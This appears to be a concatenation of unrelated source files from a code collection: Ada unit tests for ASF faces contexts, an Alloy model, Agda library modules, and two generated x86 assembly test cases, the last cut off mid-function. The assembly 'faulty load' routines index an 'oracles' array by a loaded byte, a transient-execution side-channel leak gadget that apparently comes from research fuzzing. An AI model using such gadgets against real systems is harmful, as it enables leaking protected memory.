Caller.Add_Test (Suite, "Test ASF.Contexts.Faces.Get_Message",
Test_Get_Messages'Access);
Caller.Add_Test (Suite, "Test ASF.Contexts.Faces.Queue_Exception",
Test_Queue_Exception'Access);
Caller.Add_Test (Suite, "Test ASF.Contexts.Faces.Get_Flash",
Test_Flash_Context'Access);
Caller.Add_Test (Suite, "Test ASF.Contexts.Faces.Get_Attribute",
Test_Get_Attribute'Access);
Caller.Add_Test (Suite, "Test ASF.Contexts.Faces.Get_Bean",
Test_Get_Bean'Access);
Caller.Add_Test (Suite, "Test ASF.Helpers.Beans.Get_Bean",
Test_Get_Bean_Helper'Access);
Caller.Add_Test (Suite, "Test ASF.Contexts.Faces.Mockup",
Test_Mockup_Faces_Context'Access);
end Add_Tests;
-- ------------------------------
-- Setup the faces context for the unit test.
-- ------------------------------
procedure Setup (T : in out Test;
Context : in out Faces_Context) is
begin
T.Form := new ASF.Applications.Tests.Form_Bean;
T.ELContext := new EL.Contexts.Default.Default_Context;
T.Root_Resolver := new EL.Contexts.Default.Default_ELResolver;
T.Variables := new EL.Variables.Default.Default_Variable_Mapper;
T.ELContext.Set_Resolver (T.Root_Resolver.all'Access);
T.ELContext.Set_Variable_Mapper (T.Variables.all'Access);
Context.Set_ELContext (T.ELContext.all'Access);
T.Root_Resolver.Register (Ada.Strings.Unbounded.To_Unbounded_String ("dumbledore"),
EL.Objects.To_Object (String '("albus")));
T.Root_Resolver.Register (Ada.Strings.Unbounded.To_Unbounded_String ("potter"),
EL.Objects.To_Object (String '("harry")));
T.Root_Resolver.Register (Ada.Strings.Unbounded.To_Unbounded_String ("hogwarts"),
EL.Objects.To_Object (T.Form.all'Access,
EL.Objects.STATIC));
end Setup;
-- ------------------------------
-- Cleanup the test instance.
-- ------------------------------
overriding
procedure Tear_Down (T : in out Test) is
procedure Free is
new Ada.Unchecked_Deallocation (EL.Contexts.Default.Default_Context'Class,
EL.Contexts.Default.Default_Context_Access);
procedure Free is
new Ada.Unchecked_Deallocation (EL.Variables.Variable_Mapper'Class,
EL.Variables.Variable_Mapper_Access);
procedure Free is
new Ada.Unchecked_Deallocation (EL.Contexts.Default.Default_ELResolver'Class,
EL.Contexts.Default.Default_ELResolver_Access);
procedure Free is
new Ada.Unchecked_Deallocation (ASF.Applications.Tests.Form_Bean'Class,
ASF.Applications.Tests.Form_Bean_Access);
begin
ASF.Contexts.Faces.Restore (null);
Free (T.ELContext);
Free (T.Variables);
Free (T.Root_Resolver);
Free (T.Form);
end Tear_Down;
-- ------------------------------
-- Test getting an attribute from the faces context.
-- ------------------------------
procedure Test_Get_Attribute (T : in out Test) is
Ctx : Faces_Context;
Name : EL.Objects.Object;
begin
T.Setup (Ctx);
Name := Ctx.Get_Attribute ("dumbledore");
T.Assert (not EL.Objects.Is_Null (Name), "Null attribute returned");
Util.Tests.Assert_Equals (T, "albus", EL.Objects.To_String (Name), "Invalid attribute");
Name := Ctx.Get_Attribute ("potter");
T.Assert (not EL.Objects.Is_Null (Name), "Null attribute returned");
Util.Tests.Assert_Equals (T, "harry", EL.Objects.To_String (Name), "Invalid attribute");
Name := Ctx.Get_Attribute ("voldemort");
T.Assert (EL.Objects.Is_Null (Name), "Oops... is there any horcrux left?");
end Test_Get_Attribute;
-- ------------------------------
-- Test getting a bean object from the faces context.
-- ------------------------------
procedure Test_Get_Bean (T : in out Test) is
use type Util.Beans.Basic.Readonly_Bean_Access;
Ctx : Faces_Context;
Bean : Util.Beans.Basic.Readonly_Bean_Access;
begin
T.Setup (Ctx);
Bean := Ctx.Get_Bean ("dumbledore");
T.Assert (Bean = null, "Dumbledore should not be a bean");
Bean := Ctx.Get_Bean ("hogwarts");
T.Assert (Bean /= null, "hogwarts should be a bean");
end Test_Get_Bean;
-- ------------------------------
-- Test getting a bean object from the faces context and doing a conversion.
-- ------------------------------
procedure Test_Get_Bean_Helper (T : in out Test) is
use type ASF.Applications.Tests.Form_Bean_Access;
Ctx : aliased Faces_Context;
Bean : ASF.Applications.Tests.Form_Bean_Access;
begin
T.Setup (Ctx);
Bean := Get_Form_Bean ("hogwarts");
T.Assert (Bean = null, "A bean was found while the faces context does not exist!");
ASF.Contexts.Faces.Set_Current (Ctx'Unchecked_Access, null);
Bean := Get_Form_Bean ("hogwarts");
T.Assert (Bean /= null, "hogwarts should be a bean");
Bean := Get_Form_Bean ("dumbledore");
T.Assert (Bean = null, "Dumbledore should not be a bean");
ASF.Contexts.Faces.Restore (null);
end Test_Get_Bean_Helper;
-- ------------------------------
-- Test the faces message queue.
-- ------------------------------
procedure Test_Add_Message (T : in out Test) is
Ctx : Faces_Context;
begin
Ctx.Add_Message (Client_Id => "", Message => "msg1");
Ctx.Add_Message (Client_Id => "", Message => "msg1");
Ctx.Add_Message (Client_Id => "", Message => "msg2");
Ctx.Add_Message (Client_Id => "", Message => "msg3");
Ctx.Add_Message (Client_Id => "info", Message => "msg3", Severity => INFO);
Ctx.Add_Message (Client_Id => "warn", Message => "msg3", Severity => WARN);
Ctx.Add_Message (Client_Id => "error", Message => "msg3", Severity => ERROR);
Ctx.Add_Message (Client_Id => "fatal", Message => "msg3", Severity => FATAL);
T.Assert (Ctx.Get_Maximum_Severity = FATAL, "Add message failed");
end Test_Add_Message;
procedure Test_Max_Severity (T : in out Test) is
Ctx : Faces_Context;
begin
T.Assert (Ctx.Get_Maximum_Severity = NONE, "Invalid max severity with no message");
Ctx.Add_Message (Client_Id => "info", Message => "msg3", Severity => INFO);
T.Assert (Ctx.Get_Maximum_Severity = INFO, "Invalid max severity with info message");
Ctx.Add_Message (Client_Id => "info", Message => "msg3", Severity => WARN);
T.Assert (Ctx.Get_Maximum_Severity = WARN, "Invalid max severity with warn message");
Ctx.Add_Message (Client_Id => "info", Message => "msg3", Severity => FATAL);
T.Assert (Ctx.Get_Maximum_Severity = FATAL, "Invalid max severity with warn message");
end Test_Max_Severity;
procedure Test_Get_Messages (T : in out Test) is
Ctx : Faces_Context;
begin
-- Iterator on an empty message list.
declare
Iter : constant Vectors.Cursor := Ctx.Get_Messages (Client_Id => "");
begin
T.Assert (not Vectors.Has_Element (Iter), "Iterator should indicate no message");
end;
Ctx.Add_Message (Client_Id => "info", Message => "msg1", Severity => INFO);
declare
Iter : constant Vectors.Cursor := Ctx.Get_Messages (Client_Id => "info");
M : Message;
begin
T.Assert (Vectors.Has_Element (Iter), "Iterator should indicate a message");
M := Vectors.Element (Iter);
Assert_Equals (T, "msg1", Get_Summary (M), "Invalid message");
Assert_Equals (T, "msg1", Get_Detail (M), "Invalid details");
T.Assert (INFO = Get_Severity (M), "Invalid severity");
end;
end Test_Get_Messages;
-- ------------------------------
-- Test adding some exception in the faces context.
-- ------------------------------
procedure Test_Queue_Exception (T : in out Test) is
procedure Raise_Exception (Depth : in Natural;
Excep : in Natural);
procedure Check_Exception (Event : in Events.Exceptions.Exception_Event'Class;
Remove : out Boolean;
Context : in out Faces_Context'Class);
Ctx : Faces_Context;
Cnt : Natural := 0;
procedure Raise_Exception (Depth : in Natural;
Excep : in Natural) is
begin
if Depth > 0 then
Raise_Exception (Depth - 1, Excep);
end if;
case Excep is
when 1 =>
raise Constraint_Error with "except code 1";
when 2 =>
raise Ada.IO_Exceptions.Name_Error;
when others =>
raise Program_Error with "Testing program error";
end case;
end Raise_Exception;
procedure Check_Exception (Event : in Events.Exceptions.Exception_Event'Class;
Remove : out Boolean;
Context : in out Faces_Context'Class) is
pragma Unreferenced (Context, Event);
begin
Cnt := Cnt + 1;
Remove := False;
end Check_Exception;
begin
-- Create some exceptions and queue them.
for I in 1 .. 3 loop
begin
Raise_Exception (3, I);
exception
when E : others =>
Ctx.Queue_Exception (E);
end;
end loop;
Ctx.Iterate_Exception (Check_Exception'Access);
Util.Tests.Assert_Equals (T, 3, Cnt, "3 exception should have been queued");
end Test_Queue_Exception;
-- ------------------------------
-- Test the flash instance.
-- ------------------------------
procedure Test_Flash_Context (T : in out Test) is
use type ASF.Contexts.Faces.Flash_Context_Access;
Ctx : Faces_Context;
Flash : aliased ASF.Contexts.Flash.Flash_Context;
begin
Ctx.Set_Flash (Flash'Unchecked_Access);
T.Assert (Ctx.Get_Flash /= null, "Null flash context returned");
end Test_Flash_Context;
-- ------------------------------
-- Test the mockup faces context.
-- ------------------------------
procedure Test_Mockup_Faces_Context (T : in out Test) is
use type ASF.Requests.Request_Access;
use type ASF.Responses.Response_Access;
use type EL.Contexts.ELContext_Access;
begin
ASF.Applications.Tests.Initialize_Test_Application;
declare
Ctx : Mockup.Mockup_Faces_Context;
begin
Ctx.Set_Method ("GET");
Ctx.Set_Path_Info ("something.html");
T.Assert (Current /= null, "There is no current faces context (mockup failed)");
T.Assert (Current.Get_Request /= null, "There is no current request");
T.Assert (Current.Get_Response /= null, "There is no current response");
T.Assert (Current.Get_Application /= null, "There is no current application");
T.Assert (Current.Get_ELContext /= null, "There is no current ELcontext");
end;
T.Assert (Current = null, "There is a current faces context but it shoudl be null");
end Test_Mockup_Faces_Context;
end ASF.Contexts.Faces.Tests;
|
alloy4fun_models/trashltl/models/5/YmFDWFQZNBCJv8B8X.als | Kaixi26/org.alloytools.alloy | 0 | 57 | <gh_stars>0
open main
pred idYmFDWFQZNBCJv8B8X_prop6 {
once (all f: Trash | always f in Trash)
}
pred __repair { idYmFDWFQZNBCJv8B8X_prop6 }
check __repair { idYmFDWFQZNBCJv8B8X_prop6 <=> prop6o } |
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_261.asm | ljhsiun2/medusa | 9 | 15328 | <filename>Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_261.asm
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r15
push %r8
push %rax
push %rbp
push %rdi
push %rdx
// Store
lea addresses_A+0x175eb, %rbp
nop
nop
add $22438, %rdi
movb $0x51, (%rbp)
nop
nop
cmp %r15, %r15
// Store
lea addresses_D+0xc992, %r8
nop
nop
nop
nop
dec %r12
mov $0x5152535455565758, %rdx
movq %rdx, %xmm5
vmovups %ymm5, (%r8)
nop
nop
nop
nop
add $47036, %r8
// Faulty Load
lea addresses_WT+0x128eb, %rbp
nop
nop
nop
nop
nop
inc %r8
movups (%rbp), %xmm3
vpextrq $0, %xmm3, %r12
lea oracles, %r15
and $0xff, %r12
shlq $12, %r12
mov (%r15,%r12,1), %r12
pop %rdx
pop %rdi
pop %rbp
pop %rax
pop %r8
pop %r15
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 5, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_WT'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
|
test/asset/agda-stdlib-1.0/Data/List/Relation/Unary/Any.agda | omega12345/agda-mode | 0 | 9521 | <gh_stars>0
------------------------------------------------------------------------
-- The Agda standard library
--
-- Lists where at least one element satisfies a given property
------------------------------------------------------------------------
{-# OPTIONS --without-K --safe #-}
module Data.List.Relation.Unary.Any {a} {A : Set a} where
open import Data.Empty
open import Data.Fin
open import Data.List.Base as List using (List; []; [_]; _∷_)
open import Data.Product as Prod using (∃; _,_)
open import Data.Sum as Sum using (_⊎_; inj₁; inj₂)
open import Level using (_⊔_)
open import Relation.Nullary using (¬_; yes; no)
import Relation.Nullary.Decidable as Dec
open import Relation.Nullary.Negation using (contradiction)
open import Relation.Unary hiding (_∈_)
------------------------------------------------------------------------
-- Any P xs means that at least one element in xs satisfies P.
data Any {p} (P : A → Set p) : List A → Set (a ⊔ p) where
here : ∀ {x xs} (px : P x) → Any P (x ∷ xs)
there : ∀ {x xs} (pxs : Any P xs) → Any P (x ∷ xs)
------------------------------------------------------------------------
-- Operations on Any
module _ {p} {P : A → Set p} {x xs} where
head : ¬ Any P xs → Any P (x ∷ xs) → P x
head ¬pxs (here px) = px
head ¬pxs (there pxs) = contradiction pxs ¬pxs
tail : ¬ P x → Any P (x ∷ xs) → Any P xs
tail ¬px (here px) = ⊥-elim (¬px px)
tail ¬px (there pxs) = pxs
map : ∀ {p q} {P : A → Set p} {Q : A → Set q} → P ⊆ Q → Any P ⊆ Any Q
map g (here px) = here (g px)
map g (there pxs) = there (map g pxs)
module _ {p} {P : A → Set p} where
-- `index x∈xs` is the list position (zero-based) which `x∈xs` points to.
index : ∀ {xs} → Any P xs → Fin (List.length xs)
index (here px) = zero
index (there pxs) = suc (index pxs)
lookup : ∀ {xs} → Any P xs → A
lookup {xs} p = List.lookup xs (index p)
_∷=_ : ∀ {xs} → Any P xs → A → List A
_∷=_ {xs} x∈xs v = xs List.[ index x∈xs ]∷= v
infixl 4 _─_
_─_ : ∀ xs → Any P xs → List A
xs ─ x∈xs = xs List.─ index x∈xs
-- If any element satisfies P, then P is satisfied.
satisfied : ∀ {p} {P : A → Set p} {xs} → Any P xs → ∃ P
satisfied (here px) = _ , px
satisfied (there pxs) = satisfied pxs
module _ {p} {P : A → Set p} {x xs} where
toSum : Any P (x ∷ xs) → P x ⊎ Any P xs
toSum (here px) = inj₁ px
toSum (there pxs) = inj₂ pxs
fromSum : P x ⊎ Any P xs → Any P (x ∷ xs)
fromSum (inj₁ px) = here px
fromSum (inj₂ pxs) = there pxs
------------------------------------------------------------------------
-- Properties of predicates preserved by Any
module _ {p} {P : A → Set p} where
any : Decidable P → Decidable (Any P)
any P? [] = no λ()
any P? (x ∷ xs) with P? x
... | yes px = yes (here px)
... | no ¬px = Dec.map′ there (tail ¬px) (any P? xs)
satisfiable : Satisfiable P → Satisfiable (Any P)
satisfiable (x , Px) = [ x ] , here Px
|
src/STypeCongruence.agda | kcaliban/dual-session | 0 | 16949 | <reponame>kcaliban/dual-session
module STypeCongruence where
open import Data.Fin
open import DualCoinductive
open import Direction
open COI
-- holes for session types
mutual
data TypeH : Set where
TPair-l : TypeH → (T₂ : Type) → TypeH
TPair-r : (T₁ : Type) → TypeH → TypeH
TChan : (sh : STypeH) → TypeH
data STypeH : Set where
hole : STypeH
transmit-s : (d : Dir) (T : Type) (sh : STypeH) → STypeH
transmit-t : (d : Dir) (th : TypeH) (S : SType) → STypeH
-- apply a hole to a session type
apply-hole-T : TypeH → SType → Type
apply-hole-S : STypeH → SType → SType
apply-hole-T (TPair-l th T₂) S = TPair (apply-hole-T th S) T₂
apply-hole-T (TPair-r T₁ th) S = TPair T₁ (apply-hole-T th S)
apply-hole-T (TChan sh) S = TChan (apply-hole-S sh S)
apply-hole-S hole S = S
apply-hole-S (transmit-s d T sh) S = delay (transmit d T (apply-hole-S sh S))
apply-hole-S (transmit-t d th S₁) S = delay (transmit d (apply-hole-T th S) S₁)
-- test congruences
≈-cong-transmit : ∀ {d t S₁ S₂} → S₁ ≈ S₂ → transmit d t S₁ ≈' transmit d t S₂
≈-cong-transmit S1≈S2 = eq-transmit _ ≈ᵗ-refl S1≈S2
≈-cong-transmit-t : ∀ {d T₁ T₂ S} → T₁ ≈ᵗ T₂ → transmit d T₁ S ≈' transmit d T₂ S
≈-cong-transmit-t T1≈T2 = eq-transmit _ T1≈T2 ≈-refl
≈-cong-choice : ∀ {d m alt₁ alt₂} → ((i : Fin m) → alt₁ i ≈ alt₂ i) → choice d m alt₁ ≈' choice d m alt₂
≈-cong-choice f = eq-choice _ f
-- full congruences
≈-cong-hole-S : ∀ {sh S₁ S₂} → S₁ ≈ S₂ → apply-hole-S sh S₁ ≈ apply-hole-S sh S₂
≈-cong-hole-T : ∀ {th S₁ S₂} → S₁ ≈ S₂ → apply-hole-T th S₁ ≈ᵗ apply-hole-T th S₂
≈-cong-hole-S {hole} S1≈S2 = S1≈S2
≈-cong-hole-S {transmit-s d T sh} S1≈S2 =
record { force = ≈-cong-transmit (≈-cong-hole-S S1≈S2 ) }
≈-cong-hole-S {transmit-t d th S} S1≈S2 =
record { force = ≈-cong-transmit-t (≈-cong-hole-T S1≈S2) }
≈-cong-hole-T {TPair-l th T₂} S1≈S2 = eq-pair (≈-cong-hole-T S1≈S2) ≈ᵗ-refl
≈-cong-hole-T {TPair-r T₁ th} S1≈S2 = eq-pair ≈ᵗ-refl (≈-cong-hole-T S1≈S2)
≈-cong-hole-T {TChan sh} S1≈S2 = eq-chan (≈-cong-hole-S S1≈S2)
|
test/interaction/Issue4333/M.agda | cruhland/agda | 1,989 | 948 | <reponame>cruhland/agda
{-# OPTIONS --rewriting --confluence-check #-}
module Issue4333.M where
postulate
A : Set
_==_ : A → A → Set
{-# BUILTIN REWRITE _==_ #-}
postulate
a a₀' a₁' : A
p₀ : a == a₀'
p₁ : a == a₁'
B : A → Set
b : B a
|
Cubical/Reflection/Base.agda | Edlyr/cubical | 0 | 6756 | <reponame>Edlyr/cubical
{-
Some basic utilities for reflection
-}
{-# OPTIONS --cubical --no-exact-split --safe #-}
module Cubical.Reflection.Base where
open import Cubical.Foundations.Prelude
open import Cubical.Data.List.Base
open import Cubical.Data.Nat.Base
import Agda.Builtin.Reflection as R
open import Agda.Builtin.String
_>>=_ = R.bindTC
_<|>_ = R.catchTC
_$_ : ∀ {ℓ ℓ'} {A : Type ℓ} {B : Type ℓ'} → (A → B) → A → B
f $ a = f a
_>>_ : ∀ {ℓ ℓ'} {A : Type ℓ} {B : Type ℓ'} → R.TC A → R.TC B → R.TC B
f >> g = f >>= λ _ → g
infixl 4 _>>=_ _>>_ _<|>_
infixr 3 _$_
liftTC : ∀ {ℓ ℓ'} {A : Type ℓ} {B : Type ℓ'} → (A → B) → R.TC A → R.TC B
liftTC f ta = ta >>= λ a → R.returnTC (f a)
v : ℕ → R.Term
v n = R.var n []
pattern varg t = R.arg (R.arg-info R.visible R.relevant) t
pattern harg t = R.arg (R.arg-info R.hidden R.relevant) t
pattern _v∷_ a l = varg a ∷ l
pattern _h∷_ a l = harg a ∷ l
infixr 5 _v∷_ _h∷_
vlam : String → R.Term → R.Term
vlam str t = R.lam R.visible (R.abs str t)
newMeta = R.checkType R.unknown
|
RefactorAgdaEngine/ParseTreeOperations.agda | omega12345/RefactorAgda | 5 | 6422 | <gh_stars>1-10
module ParseTreeOperations where
open import ParseTree
open import Data.List.NonEmpty
open import Data.Bool
open import Data.List hiding ([_])
open import Data.Nat
open import Relation.Nullary
open import Data.String
-- go from ((f a) b) representation to f [a, b]
expressionToList : Expr -> List⁺ Expr
expressionToList (functionApp e e₁ {false}) = expressionToList e ⁺∷ʳ e₁
expressionToList x = [ x ]
typeToList : Expr -> List⁺ Expr
typeToList (functionApp e e₁ {true}) = e ∷⁺ typeToList e₁
typeToList x = [ x ]
-- go from f [a, b] representation to ((f a) b)
{-# TERMINATING #-}
listToExpression : List⁺ Expr -> Expr
listToExpression (head₁ ∷ []) = head₁
listToExpression (head₁ ∷ x ∷ tail₁) =
listToExpression (functionApp head₁ x {false} ∷ tail₁)
{-# TERMINATING #-}
listToType : List⁺ Expr -> Expr
listToType (head₁ ∷ []) = head₁
listToType (head₁ ∷ y ∷ tail) =
functionApp head₁ (listToType (y ∷ tail)) {true}
emptyRange : Range
emptyRange = range 0 0
newHole : Expr
newHole = hole {""} {emptyRange} {[]} {[]}
newUnderscore : Expr
newUnderscore = underscore {emptyRange} {[]} {[]}
sameId : Identifier -> Identifier -> Bool
sameId (identifier name isInRange scope declaration) (identifier name₁ isInRange₁ scope₁ declaration₁)
with declaration Data.Nat.≟ declaration₁
sameId (identifier name isInRange scope declaration) (identifier name₁ isInRange₁ scope₁ declaration₁) | yes p = true
sameId (identifier name isInRange scope declaration) (identifier name₁ isInRange₁ scope₁ declaration₁) | no ¬p = false
sameName : Identifier -> Identifier -> Bool
sameName (identifier name isInRange scope declaration) (identifier name₁ isInRange₁ scope₁ declaration₁) = name₁ == name
_doesNotAppearInExp_ : Identifier -> Expr -> Bool
x doesNotAppearInExp numLit = true
identifier name₁ isInRange₁ scope₁ declaration₁ doesNotAppearInExp ident
(identifier name isInRange scope declaration) with compare declaration₁ declaration
(identifier name₁ isInRange₁ scope₁ declaration₁) doesNotAppearInExp (ident (identifier name isInRange scope .declaration₁)) | equal .declaration₁ = false
... | _ = true
x doesNotAppearInExp hole = true
x doesNotAppearInExp namedArgument (typeSignature funcName funcType) = x doesNotAppearInExp funcType
x doesNotAppearInExp functionApp y y₁ =
(x doesNotAppearInExp y) ∧
(x doesNotAppearInExp y₁)
x doesNotAppearInExp implicit x1 = x doesNotAppearInExp x1
x doesNotAppearInExp underscore = true
isImplicit : Expr -> Bool
isImplicit (implicit e) = true
isImplicit (namedArgument arg {explicit}) = not explicit
isImplicit x = false
|
Transynther/x86/_processed/P/_un_/i9-9900K_12_0xa0.log_1_1826.asm | ljhsiun2/medusa | 9 | 99580 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r15
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x16d05, %rsi
lea addresses_normal_ht+0x16d51, %rdi
nop
nop
sub $7040, %r15
mov $108, %rcx
rep movsl
nop
nop
nop
nop
nop
inc %r15
lea addresses_UC_ht+0x1c8c5, %r15
nop
nop
nop
nop
nop
and $11045, %r11
mov $0x6162636465666768, %rbx
movq %rbx, (%r15)
nop
nop
nop
xor %rbx, %rbx
lea addresses_D_ht+0xb705, %r11
nop
nop
nop
add $10958, %rcx
movw $0x6162, (%r11)
nop
nop
nop
nop
nop
sub %r15, %r15
lea addresses_D_ht+0xc305, %r11
clflush (%r11)
nop
nop
nop
nop
xor %rbp, %rbp
movups (%r11), %xmm1
vpextrq $1, %xmm1, %rdi
nop
nop
add $44812, %rbp
lea addresses_WT_ht+0x3305, %rbx
nop
nop
nop
nop
dec %r11
mov $0x6162636465666768, %rbp
movq %rbp, (%rbx)
lfence
lea addresses_A_ht+0x15f05, %rsi
lea addresses_A_ht+0x5f9b, %rdi
clflush (%rsi)
nop
xor %r10, %r10
mov $64, %rcx
rep movsl
nop
nop
nop
and $14731, %rsi
lea addresses_normal_ht+0x19305, %rsi
lea addresses_UC_ht+0xcc85, %rdi
nop
nop
xor $49031, %r15
mov $15, %rcx
rep movsq
nop
nop
nop
nop
nop
dec %rbp
lea addresses_normal_ht+0x16305, %rsi
lea addresses_UC_ht+0x8cc2, %rdi
nop
nop
nop
nop
nop
sub %r15, %r15
mov $60, %rcx
rep movsw
nop
nop
dec %r10
lea addresses_UC_ht+0xff05, %r11
nop
nop
nop
nop
nop
cmp %rcx, %rcx
mov $0x6162636465666768, %rbp
movq %rbp, (%r11)
nop
nop
nop
nop
nop
xor $23886, %rdi
lea addresses_A_ht+0x13405, %r11
nop
nop
nop
nop
nop
xor $5332, %rbp
movl $0x61626364, (%r11)
nop
nop
nop
nop
and $44456, %r15
lea addresses_WT_ht+0xf05, %rbp
nop
xor $29210, %rdi
mov $0x6162636465666768, %rsi
movq %rsi, %xmm5
vmovups %ymm5, (%rbp)
nop
nop
nop
cmp $28194, %rbx
lea addresses_normal_ht+0x175d5, %rbp
nop
nop
nop
nop
nop
dec %rcx
mov (%rbp), %r11
xor %rbx, %rbx
lea addresses_A_ht+0x15265, %r15
nop
nop
nop
nop
nop
xor $23781, %rsi
movups (%r15), %xmm5
vpextrq $0, %xmm5, %rbx
cmp $16082, %r15
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r15
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
// Store
mov $0x79d9d00000000677, %rsi
nop
nop
nop
xor $55648, %r9
movw $0x5152, (%rsi)
nop
nop
nop
xor $48176, %r9
// Store
lea addresses_US+0xe18b, %rax
nop
nop
inc %r11
movl $0x51525354, (%rax)
// Exception!!!
nop
xor %r13, %r13
div %r13
nop
nop
nop
dec %r9
// Load
lea addresses_WC+0x14eb4, %rdx
nop
nop
mfence
mov (%rdx), %esi
sub $35226, %r13
// REPMOV
mov $0x5e5, %rsi
mov $0xc85, %rdi
clflush (%rsi)
dec %r13
mov $72, %rcx
rep movsb
inc %rcx
// REPMOV
lea addresses_US+0x12305, %rsi
mov $0x3907b80000000325, %rdi
nop
nop
nop
nop
add %rdx, %rdx
mov $116, %rcx
rep movsl
nop
dec %r9
// Store
lea addresses_UC+0x9951, %rdi
nop
and %rdx, %rdx
movw $0x5152, (%rdi)
sub %rcx, %rcx
// REPMOV
mov $0xb05, %rsi
lea addresses_PSE+0x10b05, %rdi
clflush (%rdi)
nop
nop
nop
nop
and %rax, %rax
mov $9, %rcx
rep movsw
nop
sub %rsi, %rsi
// REPMOV
lea addresses_normal+0x149b5, %rsi
lea addresses_PSE+0x193e5, %rdi
nop
nop
xor $50688, %rax
mov $106, %rcx
rep movsq
nop
nop
nop
nop
cmp %r11, %r11
// Load
lea addresses_RW+0x17505, %rdx
nop
nop
nop
inc %rdi
movb (%rdx), %r9b
nop
nop
nop
nop
and $36106, %rdi
// Store
lea addresses_normal+0xbb11, %rdx
nop
nop
nop
add $49935, %rdi
movw $0x5152, (%rdx)
nop
inc %r11
// Store
lea addresses_PSE+0x1e3ce, %r13
cmp $15283, %rax
mov $0x5152535455565758, %rdx
movq %rdx, (%r13)
cmp $31222, %r11
// Store
lea addresses_WT+0xa005, %r13
add %rcx, %rcx
mov $0x5152535455565758, %rsi
movq %rsi, %xmm4
vmovups %ymm4, (%r13)
nop
nop
